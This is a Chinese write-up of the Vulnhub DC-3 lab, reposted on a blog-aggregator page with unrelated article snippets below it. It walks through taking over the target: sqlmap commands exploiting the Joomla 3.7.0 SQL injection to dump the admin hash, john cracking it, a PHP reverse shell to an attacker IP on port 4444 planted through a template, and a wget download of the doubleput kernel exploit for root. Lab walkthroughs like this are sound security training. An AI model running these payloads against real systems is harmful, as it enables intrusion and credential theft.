[Vulnhub] DC-3

news2024/9/24 3:24:01

下载链接:DC-3

DC-3需要 把IDE里面的改成IDE 0:0  不然无法打开

知识点:

  • Joomla cms 3.7.0 sql注入漏洞
  • cmseek工具探测cms指纹
  • john解密
  • proc_popen反弹shell
  • python -m http.server开启http服务 & wget远程下载
  • ubuntu16.0.4 + Linux 4.4.0-21 系统漏洞提权

目录

信息搜集

sqlmap跑出用户信息

反弹shell

Privilege Escalation(提权)


信息搜集

nmap -sP 192.168.236.0/24 扫描一下靶机ip

靶机ip: 192.168.236.133

nmap -A -p 1-65535 192.168.236.133  扫描一下靶机开放哪些服务

通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms

访问一下看看:

 告诉我们这次只有一个flag且没有线索,需要称为root用户 

 dirb扫描一下目录 发现了administrator后台目录

目标网页CMS为 Joomla,使用专门扫它的工具joomscan 来扫描joomla
kali里面安装joomscan工具的命令是sudo apt-get install joomscan

joomscan --url http://192.168.236.133

也可以shi'y

也可以用github上的cmseek工具

GitHub - Tuhinshubhra/CMSeeK: CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs

 扫出来CMS为 Joomla 3.7.0版本。使用kali里searchsploit 看看有没有可利用漏洞

sqlmap跑出用户信息

 看到了一个SQL注入漏洞,我们去看一下42033.txt内容

看见了 sqlmap的利用  我们用其构造好的,去sqlmap里跑一下:

sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到数据库名,我们再次查询一下 joomladb数据库的表名:

sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

 

 查看users表里的各个字段:

sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

 获得表中的账号密码  一般为username,password

sqlmap -u "http://192.168.236.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

 获得账号密码

+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+

 这是一个MD5+salt的加密,我们使用john去破解一下

得到密码 snoopy

反弹shell

访问之前扫到的后台地址 /administrator

 通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本

 

可以创建一个php文件,也可以直接写入。再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而protostar模块就在/templates/protostar/里面

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.236.128", "4444");

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

kali里nc监听4444端口  得到反弹shell

python -c "import pty;pty.spawn('/bin/bash')" 获取一个交互式的shell

Privilege Escalation(提权)

SUID、git等等行不通,于是考虑系统漏洞提权

uname -a 查看内核版本  Linux DC-3 4.4.0-21

cat /etc/issue 查看一下系统版本  是Ubuntu 16.04

 查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,locate定位完整path 

 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 查看一下

文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的链接:

注:github上说repo 也就是仓库已经迁移了,所以我们去这里下载:

bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab

 下载到本机上之后,我们可以选择通过蚁剑链接DC-3靶机,上传到靶机里,也可以先上传到kali kali上 python开启一个服务,然后靶机通过wget下载下来:

python -m http.server 1234

 回到DC-3靶机的shell里 使用wget下载下来

wget http://192.168.236.128:1234/39772.zip

 解压一下;

unzip 39772.zip            #解压39772.zip
cd 39772                #进入39772
tar -xvf exploit.tar    #解压缩exploit.tar

然后进入ebpf_mapfd_doubleput_exploit 目录下,按照kali里txt内容写的方法执行:

./compile.sh  执行compile.sh 执行完毕后会出现doubleput可执行文件
./doubleput    执行doubleput

得到 root权限  cd /root下,cat the-flag.txt 得到flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/181443.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用OpenAI的Whisper 模型进行语音识别

语音识别是人工智能中的一个领域,它允许计算机理解人类语音并将其转换为文本。该技术用于 Alexa 和各种聊天机器人应用程序等设备。而我们最常见的就是语音转录,语音转录可以语音转换为文字记录或字幕。 wav2vec2、Conformer 和 Hubert 等最先进模型的最…

无穷小的比较——“高等数学”

各位CSDN的uu们你们好呀,今天小雅兰的内容是无穷小的比较,下面,就让我们一起进入高等数学的世界吧 回顾 定义 性质 定理 定理1: 定理2:等价无穷小替换定理 常用的等价无穷小 例题 小结 回顾 两个无穷小的商当然不一定还…

Android深入系统完全讲解(38)

9.6 配置 native 方法 9.6.1 CMakeLists.txt 文件中内容,配置生成一个 so 库add_library( # Sets the name of the library. native-lib # Sets the library as a shared library. SHARED # Provides a relative path to your source file(s). src/main/cpp/native…

一刷代码随想录——数组

概念数组是存放在连续内存空间上的相同类型数据的集合连续:增删需移动后续元素,删除的本质是覆盖类型:相同用数组,不同用结构数组下标从0开始C中二维数组连续分布vector的底层实现是array,严格来讲vector是容器&#x…

C++11 并发指南四( 详解三 stdfuture stdshared_future)

C11 并发指南四( 详解三 std::future & std::shared_future) 文章目录C11 并发指南四( 详解三 std::future & std::shared_future)std::future 介绍std::future 成员函数std::shared_future 介绍std::future_error 介绍其他与 std::future 相关的函数介绍其他与 std::f…

SWIFT Framework .NET 2023.1 Crack

SWIFT 组件 SWIFT Components 多年来一直致力于银行机构软件、在线交易软件、CRM 和零售和商业解决方案中的计费应用程序,以及医药和高度关键任务的 24/7 运营应用程序。作为定制银行解决方案的开发商,SWIFT Components 拥有所有银行产品和部门的专业知识…

【python从零入门 | 03】基本数据类型之“除法“

🍁博主简介: 🏅云计算领域优质创作者 🏅2022年CSDN新星计划python赛道第一名 🏅2022年CSDN原力计划优质作者 🏅阿里云ACE认证高级工程师 🏅阿里云开发者社区专家博主 💊交流社区:CSDN云计算交流社区欢迎您的加入! 目

设置/恢复系统隐藏文件 - Windows系统

设置/恢复系统隐藏文件 - Windows系统前言普通隐藏文件显示文件设置/取消隐藏系统隐藏文件显示文件设置/取消隐藏前言 本文介绍Windows系统如何设置/恢复隐藏文件,隐藏文件包含普通隐藏文件和系统隐藏文件,系统隐藏文件一般是受保护的系统文件&#xff…

Android 蓝牙开发——Avrcp协议(十二)

SDK路径:frameworks/base/core/java/android/bluetooth/ 服务路径:packages/apps/Bluetooth/src/com/android/bluetooth/ 在使用协议类的时候无法找到该类,由于安卓源码中关于蓝牙协议的 Client 部分或相关接口都被 hide 给隐藏掉了&#xf…

【通信原理(含matlab程序)】实验一 双边带模拟调制和解调

💥💥💞💞欢迎来到本博客❤️❤️💥💥 本人持续分享更多关于电子通信专业内容以及嵌入式和单片机的知识,如果大家喜欢,别忘点个赞加个关注哦,让我们一起共同进步~ &#x…

AcWing - 寒假每日一题2023(DAY 11——DAY 15)

文章目录一、AcWing 4656. 技能升级(困难)1. 实现思路2. 实现代码二、AcWing 4454. 未初始化警告(简单)1. 实现思路2. 实现代码三、AcWing 4509. 归一化处理(简单)1. 实现思路2. 实现代码四、AcWing 4699. …

OpenCV实战(8)——直方图详解

OpenCV实战(8)——直方图详解0. 前言1. 直方图概念2. 直方图计算2.1 灰度图像直方图计算2.2 彩色图像直方图计算3. 应用查找表修改图像3.1 查找表3.2 拉伸直方图提高图像对比度3.3 在彩色图像上应用查找表4. 图像直方图均衡化5. 完整代码小结系列链接0. …

操作流程违规作业监测系统 yolov7

操作流程违规作业监测系统通过pythonyolov7网络深度学习技术,对高危场景下作业人员未按照操作流程进行正常操作行为进行实时分析识别检测,发现现场人员违规作业操作行为,不需人为干预,立即自动抓拍存档预警。YOLOv7 在 5 FPS 到 1…

在 VSCode 中像写 TypeScript 一样写 JavaScript

大家好,我是前端西瓜哥。 我们在 VSCode 编辑器中编写 js 代码,是会提供类型提示的。 VSCode 会推断一个变量是什么类型,并在你输入内容的时候,提供对应的 API 属性或方法补全。 如下图,在 js 文件中,ar…

【Java】到底什么是包?|最通俗易懂讲解|保姆级

博主简介:努力学习的预备程序媛一枚~博主主页: 是瑶瑶子啦所属专栏: Java岛冒险记【从小白到大佬之路】 目录Part1:类比理解:Part2:与包(package)正式见面:2.1:包的本质--文件夹2.2&…

学习C++基本数值类型

写在前面 正在学习C/C/Javascript,面向初学者撰写专栏 博主原创C/C笔记(干货),如有错误之处请各位读者指正 请读者评论回复、参与投票,反馈给作者,我会获得持续更新各类干货的动力。 致粉丝:可以…

力扣刷题记录——709. 转换成小写字母、771. 宝石与石头、704. 二分查找

本专栏主要记录力扣的刷题记录,备战蓝桥杯,供复盘和优化算法使用,也希望给大家带来帮助,博主是算法小白,希望各位大佬不要见笑,今天要分享的是——《力扣刷题记录——709. 转换成小写字母、771. 宝石与石头…

C++11并发指南二(stdthread详解)

C11并发指南二(stdthread详解) 文章目录C11并发指南二(stdthread详解)std::thread 构造move 赋值操作其他成员函数上一篇博客《 C11 并发指南一(C11 多线程初探)》中只是提到了 std::thread 的基本用法,并给出了一个最…

{(leetcode 题号:169. 多数元素)+(189. 轮转数组)}时间复杂度与空间复杂度分析:

目录 一. 基本概念 1.时间复杂度 2.空间复杂度 二.实例分析 实例(1):旋转数组 方法1:暴力旋转法(时间复杂度加空间复杂度分析) 方法2 :三步整体逆序法 (时间复杂度加空间复杂度分析) 实例(2):斐波那契递归的时间复杂度和空间复杂度分析 实例(3):169. 多数元素…

模拟实现C库函数(1)

"啊~所有经历给它赋予魔力。"很久没更新过C专栏的文章了,借复习(review)的机会,本节的内容针对我们一些常见、常用的C库函数的模拟实现。“当你行走了一段时间后,回头往往那不管是起初咿咿呀呀胡乱踩陷的小坑时,还是之后…